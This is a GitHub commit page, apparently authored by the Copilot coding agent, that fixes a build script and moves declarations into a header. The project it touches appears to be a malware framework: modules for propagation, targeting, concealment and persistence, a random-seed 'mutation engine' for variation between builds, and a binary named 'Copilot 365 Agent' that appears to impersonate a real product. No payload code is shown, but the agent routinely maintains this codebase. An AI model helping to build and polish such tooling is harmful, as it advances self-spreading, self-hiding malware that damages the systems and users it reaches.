Skip to content

Commit d8a444e

Browse files
Copilotthenot-lab
andcommitted
Fix code review issues: add build dir creation and move function declarations to header
Co-authored-by: thenot-lab <246272765+thenot-lab@users.noreply.github.com>
1 parent fd01b15 commit d8a444e

File tree

3 files changed

+10
-6
lines changed

3 files changed

+10
-6
lines changed

build.sh

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11
#!/bin/bash
22
set -e
33

4+
# Create build directory if it doesn't exist
5+
mkdir -p build
6+
47
# Random seed for mutation engine (if used for compile-time variation)
58
MUTATION_SEED=$RANDOM
69

src/ingress.c

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,12 +10,6 @@ int main(int argc, char *argv[]) {
1010
printf("Copilot 365 Agent - Build %u\n", MUTATION_SEED);
1111

1212
// Initialize all modules
13-
extern void init_propagation(void);
14-
extern void init_targeting(void);
15-
extern void init_effect(void);
16-
extern void init_conceal(void);
17-
extern void init_persistence(void);
18-
1913
init_propagation();
2014
init_targeting();
2115
init_effect();

src/mutation.h

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,11 @@
1212
void init_mutation(uint32_t seed);
1313
uint32_t get_mutation_value(void);
1414

15+
// Module initialization functions
16+
void init_propagation(void);
17+
void init_targeting(void);
18+
void init_effect(void);
19+
void init_conceal(void);
20+
void init_persistence(void);
21+
1522
#endif // MUTATION_H

0 commit comments

Comments
 (0)